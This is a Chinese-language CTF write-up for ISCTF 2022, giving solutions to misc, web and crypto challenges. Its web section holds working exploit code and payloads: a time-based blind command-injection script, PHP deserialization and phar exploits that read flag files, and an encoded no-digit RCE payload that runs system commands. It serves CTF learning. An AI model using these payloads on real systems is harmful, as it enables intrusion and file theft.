ISCTF
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285
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0
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WriteUp
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JBNRZ

2082 字
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31 分钟
本文最后更新于 581 天前，其中的信息可能已经有所发展或是发生改变。

Misc

ISCTF 层层迷宫

题解

  • run.py
from pwn import *
from solve import solve
import sys

sys.setrecursionlimit(20000)  # 修改最大递归深度

a = remote('120.79.18.34', 20692)
while True:
    try:
        b = a.recvuntil(b'(wasd)')
        b = b.decode().replace('\x1b[92m E\x1b[0m', ' E').replace('\x1b[91m S\x1b[0m', ' S').split('\n')
        start = eval(b[-3].replace('start(', '[').replace(')', ']'))
        end = eval(b[-2].replace('end(', '[').replace(')', ']'))
        start = (start[1], start[0])
        end = (end[1], end[0])
        map = []
        for i in b:
            if ' # ' in i:
                map.append(i)
        for i in range(len(map)):
            map[i] = list(map[i].replace(' ', '').replace('#', '1').replace('E', '0').replace('S', '0'))
            for j in range(len(map[i])):
                map[i][j] = int(map[i][j])
        map2 = map.copy()
        for i in range(len(map2)):
            map2[i] = str(map2[i])
        with open('map.txt', 'w') as w:
            w.write(', \n'.join(map2) + f'\n\n\n{start}\n\n{end}')
        answer = solve(map, start, end).encode()
        a.send(answer)
    except Exception as e:
        print(e)
        a.interactive()
  • solve.py
import sys
dirs = [(0, 1), (1, 0), (0, -1), (-1, 0)]  # 当前位置四个方向的偏移量
path = []  # 存找到的路径
test = []
sys.setrecursionlimit(20000)


def mark(maze, pos):  # 给迷宫maze的位置pos标"2"表示“倒过了”
    maze[pos[0]][pos[1]] = 2

def passable(maze, pos):  # 检查迷宫maze的位置pos是否可通行
    return maze[pos[0]][pos[1]] == 0

def find_path(maze, pos, end):
    mark(maze, pos)
    if pos == end:
        test.append(pos)
        # print(pos, end=" ")  # 已到达出口，输出这个位置。成功结束
        path.append(pos)
        return True
    for i in range(4):  # 否则按四个方向顺序检查
        nextp = pos[0] + dirs[i][0], pos[1] + dirs[i][1]
        # 考虑下一个可能方向
        if passable(maze, nextp):  # 不可行的相邻位置不管
            if find_path(maze, nextp, end):  # 如果从nextp可达出口，输出这个位置，成功结束
                test.append(pos)
                # print(pos, end="")
                path.append(pos)
                return True
    return False

def solve(maze, start, end):
    global test, path
    _ = find_path(maze, start, end)
    a = ''
    test = test[::-1]
    for i in range(len(test) - 1):
        if test[i + 1][0] < test[i][0]:
            a += 'w'
        elif test[i + 1][0] > test[i][0]:
            a += 's'
        if test[i + 1][1] < test[i][1]:
            a += 'a'
        elif test[i + 1][1] > test[i][1]:
            a += 'd'
    test, path = [], []
    return a

官方 exp

from collections import deque

import tqdm

MAX_VALUE = 0x7fffffff

def red(text):
    return "\033[91m" + text + "\033[0m"

def green(text):
    return "\033[92m" + text + "\033[0m"


class Point:
    def __init__(self, x=0, y=0):
        self.x = x
        self.y = y


def bfs(maze, begin, end):
    n, m = len(maze), len(maze[0])
    dist = [[MAX_VALUE for _ in range(m)] for _ in range(n)]
    pre = [[None for _ in range(m)] for _ in range(n)]  # 当前点的上一个点,用于输出路径轨迹

    dx = [1, 0, -1, 0]  # 四个方位
    dy = [0, 1, 0, -1]
    sx, sy = begin.x, begin.y
    gx, gy = end.x, end.y

    dist[sx][sy] = 0
    queue = deque()
    queue.append(begin)
    while queue:
        curr = queue.popleft()
        find = False
        for i in range(4):
            nx, ny = curr.x + dx[i], curr.y + dy[i]
            if 0 <= nx < n and 0 <= ny < m and maze[nx][ny] != '#' and dist[nx][ny] == MAX_VALUE:
                dist[nx][ny] = dist[curr.x][curr.y] + 1
                pre[nx][ny] = curr
                queue.append(Point(nx, ny))
                if nx == gx and ny == gy:
                    find = True
                    break
        if find:
            break
    stack = []
    curr = end
    while True:
        stack.append(curr)
        if curr.x == begin.x and curr.y == begin.y:
            break
        prev = pre[curr.x][curr.y]
        curr = prev
    flag=[]
    while stack:
        curr = stack.pop()
        flag.append([curr.x,curr.y])
    flag1=''
    for i in range(1,dist[gx][gy]):
        if flag[i][0]-flag[i-1][0]==1:
            flag1+='s'
        elif flag[i][0]-flag[i-1][0]==-1:
            flag1+='w'
        elif flag[i][1]-flag[i-1][1]==-1:
            flag1+='a'
        elif flag[i][1]-flag[i-1][1]==1:
            flag1+='d'
    flag1+='d'
    return flag1
from pwn import *
if __name__ == '__main__':
    re = remote('0.0.0.0', 80)
    for i in tqdm.tqdm(range(11, 512,2)):
        re.recvuntil(b' #')
        map = (b' #' + re.recvuntil(b'start')).decode()[:-6].replace(' ','').replace(red('S'),'S').replace(green('E'), 'E')
        n, m = i,i
        begin = Point()
        end = Point()
        maze = list(map.split('\n'))
        map2 = []
        for k in range(n):
            map1 = [_ for _ in maze[k]]
            map2.append(map1)
        maze = map2
        for k in range(n):
            if 'S' in maze[k]:
                begin.x = k
                begin.y = maze[k].index('S')
            if 'E' in maze[k]:
                end.x = k
                end.y = maze[k].index('E')
        ans = bfs(maze, begin, end).encode()
        re.recvuntil(b'keyboard (wasd)\n')
        re.sendline(ans)
    re.interactive()

一个misc手会不懂web吗

题解

  • 导出 data.json，流量分析，sql 盲注，对分查找
  • exp
import json
import re
from z3 import *

pattern = re.compile(',(\d*,\d)\)\)>(\d*)#')

with open('test.json', 'r', encoding='utf-8') as r:
    content = json.load(r)
asc_list = content[::2]
status_list = content[1:][::2]
assert len(asc_list) == len(status_list)
result = {}
for i in range(1231):
    asc = re.findall(pattern, list(asc_list[i]['_source']['layers']['urlencoded-form'].keys())[0])[0]
    if "table_name='user'" in list(asc_list[i]['_source']['layers']['urlencoded-form'].keys())[0]:
        key = 'user ' + asc[0].replace(',1', '')
    elif "'flag'" in list(asc_list[i]['_source']['layers']['urlencoded-form'].keys())[0]:
        key = 'flag ' + asc[0].replace(',1', '')
    elif "flag2" in list(asc_list[i]['_source']['layers']['urlencoded-form'].keys())[0]:
        key = 'flag2 ' + asc[0].replace(',1', '')
    else:
        key = asc[0]
    status = True if 'success' in list(status_list[i]['_source']['layers']['data-text-lines'].keys())[-1] else False
    if key in result.keys():
        result[key].append({asc[1]: status})
    else:
        result[key] = []
        result[key].append({asc[1]: status})
for i in result.keys():
    if i.startswith('flag'):
        expr = ''
        x = Int('x')
        for num in result[i]:
            if num[list(num.keys())[0]]:
                expr += f'x > {list(num.keys())[0]}, '
            else:
                expr += f'x <= {list(num.keys())[0]}, '
        a = solve(eval(expr))
        a = int(str(a).split(' = ')[-1].replace(']', ''))
        print(chr(a), end='')

手残党福利

题解

  • 下载游戏，通过新手村后产生save文件，010修改33->47，跳关得到flag

ISCTF{IWANNA_IS_EASY}

可爱的emoji

题解

  • 爆破压缩包，得到emoji
    • password: AESISKEY
  • emoji aes
    • https://aghorler.github.io/emoji-aes/
    • key: AES
    • Rotation: 9

ISCTF{Love1y_enn0ji}

我的世界去哪了

题目描述

出题人：f00001111

学校：大理大学

f00001111入正了正版Minecraft，当他用新的账号登录他玩了几年的服务器时，却意外的发现他的东西全没了，经过查询，他发现正版账号有了新的UUID，你能帮他找到原来的UUID吗？

flag格式：ISCTF{md5(原UUID+新UUID)}

UUID格式为去除连接符后的32位数字及小写字符

题解

  1. 在线UUID为UUIDv4，无法直接生成，可直接使用MojangAPI查询或使用查询网站进行查询

离线UUID为UUIDv3，生成规则为：

将OfflinePlayer:与用户名进行拼接，并计算MD5值
第13位为UUID版本，固定为3
将第17位与3进行与运算，并将结果与8进行或运算，结果为第17位

或使用第三方启动器进行离线登录并查看UUID，或通过查询网站进行查询

  1. 拼接 UUID，得 flag

ISCTF{38884c1ef16e6cba90bb67983512159d}

放松一下

题解

  • 下载NBTExplorer，读取文档搜索command即可

ISCTF{Welcome_TO_ISCTF2022_ENJOY_yourself}

捕风的魔女

题解

  • 对照表
    • flag1为魔女之旅的文字表
    • flag2为提瓦特文字表

老色批了哦

题解

  • 注意大小端存储，LSB得到16进制数据，再处理
    • 所谓大小端，即高位写到低位，低位写到高位上，跟韩信点兵的加密方式有异曲同工之妙，即如果有0x50的，大小端转换后变为0x05因此将lsb的数据读取出来后进行高低位转换即可并保存为zip文件即可
  • flag

ISCTF{A76510E3-FEA7-68F8-2C31-0A4ECAE5197A}

小蓝鲨的秘密

题解

  • 伪加密，爆破密码114514
  • Oursecret

ISCTF{A76510E3-FEA7-68F8-2C31-0A4ECAE5197A}

ISCTF World

题解

  • 进入游戏，有一个提示牌写着点这里，底下有命令方块，点击按钮开始播放音乐，将播放过程录屏并逐帧查看即可看到flag，可利用NBT编辑器或向局域网开放修改游戏模式

ISCTF{Thanks_For_Playing_ISCTF}

Docker网络测试

题目描述

ISCTF报名人数突破1000人，为了保证比赛过程中动态题目环境正常，f00001111准备了两台阿里云服务器，使用了Docker Swarm进行连接，但连接出了点问题，于是他在本地进行了测试，测试过程中他放了flag进去，你能通过流量找到flag吗？

题解

  • ISCTF报名人数突破1000人，为了保证比赛过程中动态题目环境正常，f00001111准备了两台阿里云服务器，使用了Docker Swarm进行连接，但连接出了点问题，于是他在本地进行了测试，测试过程中他放了flag进去，你能通过流量找到flag吗？

ISCTF{Docker_Swarm_Connected!}

人生有输有赢

题解

  • 打开源码里flag_is_in_here.js文件，发现有jsfuck加密的字符串，前边标了为第2段
  • 提取所有的base64字符，解码
  • 然后发现有jsfuck加密的字符串，并且有序号，发现有1、3、4、5段
  • 6段密文按顺序合在一起，发现和常规jsfuck不一样，0并没有被加密，了解jsfuck加密原理，发现加密是把+[]换成0，因此将所有0全部替换成+[]
  • 然后jsfuck解密即可

逃离东南亚

题解

  • 日记一，字典爆破
  • word 隐藏文字
  • base58
  • md5 爆破
  • snow 隐写 password: Encrypt
    • snow.exe -p Encrypt -C flag.txt

ISCTF{1f1bbb34-3776-a5f1-c3c4-b0c265f997e8}

Web

easy-onlineshell

题解

  • 靶机不出网，不能访问其他文件，利用访问时长，进行字符串爆破
import requests
import string
from urllib import parse
import time

url = "http://192.168.23.21:5000/rce"
payload = ['if [ $(head -c ', ' flag) == "', '" ]; then     sleep 1;     echo "String1 and String2 are equal."; else     echo "String1 and String2 are not equal."; fi']
# 读取 flag 文件的前 i 个字符，进行爆破
disc = string.digits + string.ascii_letters + "{}+-*/_"
head = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", 'Connection': 'close'}

flag = ""
for i in range(1, 50):
    status = False
    for j in disc:
        pld = '"' + payload[0] + str(i) + payload[1] + flag + j + payload[2] + '"'
        pld = parse.quote(pld)
        # print(pld)
        start_time = time.time()
        # res = requests.post(url=url, headers=head, data="act=" + pld, proxies={'http': 'http://127.0.0.1:8080'})
        res = requests.post(url=url, headers=head, data="act=" + pld)
        # print(res.text)
        end_time = time.time()
        print(j + "  " + str(end_time - start_time))
        # 该字符位正确将会 sleep 1s，post请求时间将会大于一秒
        if (end_time - start_time) > 1:
            status = True
            flag += j
            print("--> flag :" + flag)
            break
    if status == False:
        print("-->" + flag + "<--")
        exit()

easy_upload

题解

  • 一个文件上传界面，通过测试发现只能上传jpg格式的文件，扫目录
  • www.rar文件发现是index.php的源码
  • 上传图片马，然后利用file包含图片马命令执行，经过测试发现内容不能有POST并且文件格式要为：image/jpeg
  • 利用文件包含读取flag

猫和老鼠 ISCTF

题解

  • index.php
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class mouse
{
public $v;
   public function __toString()
    {
        echo "Good. You caught the mouse:";
        include($this->v); 
    }
}
class cat
{
    public $a;
    public $b;
    public $c;
    public function __destruct(){
        $this->dog();
        $this->b = $this->c;
        die($this->a);
    }
    public function dog()
    { 
        $this->a = "I'm a vicious dog, Kitty";    
    }
}
unserialize($_GET["cat"]); 
?>
  • exp
<?php
class mouse
{
    public $v;

    public function __construct($v)
    {
        $this -> v = $v;
    }

}
class cat
{
    public $a;
    public $b;
    public $c;

    public function __construct($a, $c)
    {
        $this -> a = $a;
        $this -> b = &$this -> a;
        $this -> c = $c;
    }
}
$mouse = new mouse('php://filter/read=convert.base64-encode/resource=flag.php');
$cat = new cat($mouse, $mouse);
echo serialize($cat);
?>
# O:3:"cat":3:{s:1:"a";O:5:"mouse":1:{s:1:"v";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}s:1:"b";R:2;s:1:"c";r:2;}

ISCTF{eada40d9-7f2e-44b5-a953-a9df5cd4c40f}

rce?

题解

  • 无数字 rce

?shell=%24_%2B%2B%3B%24__%20%3D%20%22%E6%9E%81%22%3B%24___%20%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8C%BA%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E7%9A%AE%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8D%81%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8B%BA%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24____%20%3D%20%27_%27%3B%24__%20%3D%20%22%E5%AF%B8%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%B0%8F%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E6%AC%A0%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E7%AB%8B%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24_%20%3D%20%24%24____%3B%24___(%24_%5B_%5D)%3B

  • post

_=system(‘ls’);

upload

题解

  • 检查文件是否存在
  • 检查文件类型
  • 在class.php发现漏洞点文件读取函数并经过wakeup函数，猜测反序列化，但无反序列化函数
  • 发现漏洞触发点，file_exists(),确定为phar反序列化
<?php
class upload{
 public $filename;
 public $ext;
 public $size;
 public $Valid_ext;
 public function __construct($cmd){
 $this->filename = $cmd;
 $this->ext = ".png";
 $this->size = 1;
 $this->Valid_ext = array("gif", "jpeg", "jpg", "png");
 }
 public function start(){
 return $this->check();
 }
 private function check(){
 if(file_exists($this->filename)){
 return "Image already exsists";
 }elseif(!in_array($this->ext, $this->Valid_ext)){
 return "Only Image Can Be Uploaded";
 }else{
 return $this->move();
 }
 }
 private function move(){
 move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename);
 return "Upload succsess!";
 }
 public function __wakeup(){
 echo file_get_contents($this->filename);
 } }
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$payload = "/flag";
$object = new upload($payload);
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();
  • 生成phar文件，注意phpini中phar.readonly设置为Off，改后缀为jpg，之后文件读取它，?img_name=phar://upload/phar.jpg

simple php

题解

  • index.php
<?php
highlight_file(__FILE__);
error_reporting(E_ERROR);
$str=$_GET['str'];
$pattern = "#\\\\\\\\/Ilikeisctf#";
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
if(preg_match($pattern,$str,$arr))
{
    echo "good try!";
    $num=$_GET['num'];
    if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
        echo "come on!!!";
        if($num=='36'&isset($_GET['cmd'])){
                eval($_GET['cmd']);
        }else{
            echo "hacker!!";
        }
    }else{
        echo "hacker!!!";
    }
}
  • payload

/?str=\\\\/Ilikeisctf&num=%0c36&cmd=system(‘cat /flag’);

Crypto

ezcry

题解

  • 附件
from Crypto.Util.number import *
import gmpy2
from flag import flag
m = bytes_to_long(flag)
p = getPrime(1024)
q = getPrime(1024)
s = getPrime(128)
k = getPrime(128)
n = p * q
e = 65537
seek1 = p*s
seek2 = q*k
seek3 = s*k
c = pow(m,e,n)
print(n)
print(seek1)
print(seek2)
print(seek3)
print(c)
"""
17034526359906374675222899048129793386473729727961851733668266173715506273934226618903915327347680201386438684211280871430960401386916021458749533875225149368757915582850037170031336862864220965224712317292408675261654733853726119671544885158743864358155418727967683788352892259519172776767011253307992508658787036093010953540438865556151687132667690293590304094069132122821611257522409132491206241878258953750975043892338280574703622715614385904469190033441247428911800257097240824225432194243602777112774675510936575635571170740329720227162079500469956310746873132644419840611848333802207608652869080821316814006039
31064534580137722018723185060822560614595271317101024671103834301982025703308358280617670492170754990183711198694392500995348706299728134379707212369534471489902209545060592051514886997951859233729914969365008090709174580598044945031296428531946547802954873288796478626936584991410702713951383782424003825610226728036611739090258953115031673157531
24213197274140919663950771475506320265583015671558310318006684746019240494812396672068641326932339831508586851960432536051863105773343184877340119017546817780287117748145293115469964769795237573829418533841547969451268532899237529671580701722254679851009751345719473395857872899046537572034595080443184983155696803469587776652323407147950333716539
44155715757886274586781970607943060213741487009882893164192666734219021562031
6636871845889289821451339461667353441602430792099749101933216934629214305159040913567522609116395485018234259025910227221402350884391969711051377864656945164699379734982178962637190192088596776288873871651609167259167456816094141938735498585327839045360319836147041837569528592447701501104067430848582239927052031661696213986982946173792468753773505681630323945625892041031455025095934790620541499679023777086690062211807019645557781380979957862910047981754126193036968611612056475750787560328372643151874535031184052794483578557248028165948247504989100884012688908781349748818365779371062209169311607720595792421590
"""
  • exp
from Crypto.Util.number import *
import gmpy2
seek1 = 31064534580137722018723185060822560614595271317101024671103834301982025703308358280617670492170754990183711198694392500995348706299728134379707212369534471489902209545060592051514886997951859233729914969365008090709174580598044945031296428531946547802954873288796478626936584991410702713951383782424003825610226728036611739090258953115031673157531
seek2 = 24213197274140919663950771475506320265583015671558310318006684746019240494812396672068641326932339831508586851960432536051863105773343184877340119017546817780287117748145293115469964769795237573829418533841547969451268532899237529671580701722254679851009751345719473395857872899046537572034595080443184983155696803469587776652323407147950333716539
seek3 = 44155715757886274586781970607943060213741487009882893164192666734219021562031
n = 17034526359906374675222899048129793386473729727961851733668266173715506273934226618903915327347680201386438684211280871430960401386916021458749533875225149368757915582850037170031336862864220965224712317292408675261654733853726119671544885158743864358155418727967683788352892259519172776767011253307992508658787036093010953540438865556151687132667690293590304094069132122821611257522409132491206241878258953750975043892338280574703622715614385904469190033441247428911800257097240824225432194243602777112774675510936575635571170740329720227162079500469956310746873132644419840611848333802207608652869080821316814006039
e = 65537
c = 6636871845889289821451339461667353441602430792099749101933216934629214305159040913567522609116395485018234259025910227221402350884391969711051377864656945164699379734982178962637190192088596776288873871651609167259167456816094141938735498585327839045360319836147041837569528592447701501104067430848582239927052031661696213986982946173792468753773505681630323945625892041031455025095934790620541499679023777086690062211807019645557781380979957862910047981754126193036968611612056475750787560328372643151874535031184052794483578557248028165948247504989100884012688908781349748818365779371062209169311607720595792421590
s = gmpy2.gcd(seek1,seek3)
k = gmpy2.gcd(seek2,seek3)
p = seek1 // s
q = n // p
d = gmpy2.invert(e,(p-1)*(q-1))
m = pow(c,d,n)
print(long_to_bytes(m))

ezRSA

题解

  • 附件
from Crypto.Util.number import *
from flag import flag
import gmpy2
import libnum
import random

flag="ISCTF{************}"
m=libnum.s2n(flag)

while 1:
    e = random.randint(100,1000)
    p=libnum.generate_prime(1024)
    q=libnum.generate_prime(1024)
    phi_n=(p-1)*(q-1)
    t=gmpy2.gcd(e,phi_n)
    if  gmpy2.invert(e // t, phi_n) and t !=1:
        break
n=p*q
c=pow(m,e,n)
print("p=",p)
print("q=",q)
print("e=",e)
print("c=",c)
'''
146061540583135242741006647792481468215928177245453689591382075771990192360040412020479342624228118794110240955451899373848827328177557126556072570082923983968091404980923313006963667391261364191537502509633623502033578910844508808321175673461956149400289968262858691371016246515264343715246136003074155184273
106988826778655284666865642844938578070029566283623778317110345394696520999319699165122638213405544697509248818119744714371964212582672270467711234178627339558783803718844973937701655329775612593193896887658613019039808270266901149871250769922857432588126510259997039777751047281603319139760808677732919216899
740
6282526058961246581872664236584053247822096703448673698014149841099601111078858783085447440545491467659016466697346055841162217815656467685468263870813754625318960798390457353869689600971254126026498299128586642169553158659216998193596000256435504143502966206895545701691216757482393700125791878031903647831939512035110314068235625347074791191183719857770670134500097347113475463330210378392860796906074883251200522628116993249459465350593837432195675595929482809838619649519612607292091411530134831844063986714485104831320923176335931609571205307034732956741442770883207107022828296237748601658720079333177460160664
'''
  • exp
import gmpy2
from Crypto.Util.number import *
# 当e约去公约数后与phi互素
def decrypt(p, q, e, c):
    n = p * q
    phi = (p - 1) * (q - 1)
    t = gmpy2.gcd(e, phi)
    d = gmpy2.invert(e // t, phi)
    m = pow(c, d, n)
    print(m)
    msg = gmpy2.iroot(m, t)
    print(msg)
    if msg[1]:
        print(long_to_bytes(msg[0]))

p=146061540583135242741006647792481468215928177245453689591382075771990192360040412020479342624228118794110240955451899373848827328177557126556072570082923983968091404980923313006963667391261364191537502509633623502033578910844508808321175673461956149400289968262858691371016246515264343715246136003074155184273
q=106988826778655284666865642844938578070029566283623778317110345394696520999319699165122638213405544697509248818119744714371964212582672270467711234178627339558783803718844973937701655329775612593193896887658613019039808270266901149871250769922857432588126510259997039777751047281603319139760808677732919216899
e=740
c=6282526058961246581872664236584053247822096703448673698014149841099601111078858783085447440545491467659016466697346055841162217815656467685468263870813754625318960798390457353869689600971254126026498299128586642169553158659216998193596000256435504143502966206895545701691216757482393700125791878031903647831939512035110314068235625347074791191183719857770670134500097347113475463330210378392860796906074883251200522628116993249459465350593837432195675595929482809838619649519612607292091411530134831844063986714485104831320923176335931609571205307034732956741442770883207107022828296237748601658720079333177460160664
decrypt(p, q, e, c)
ISCTFMISCWEB
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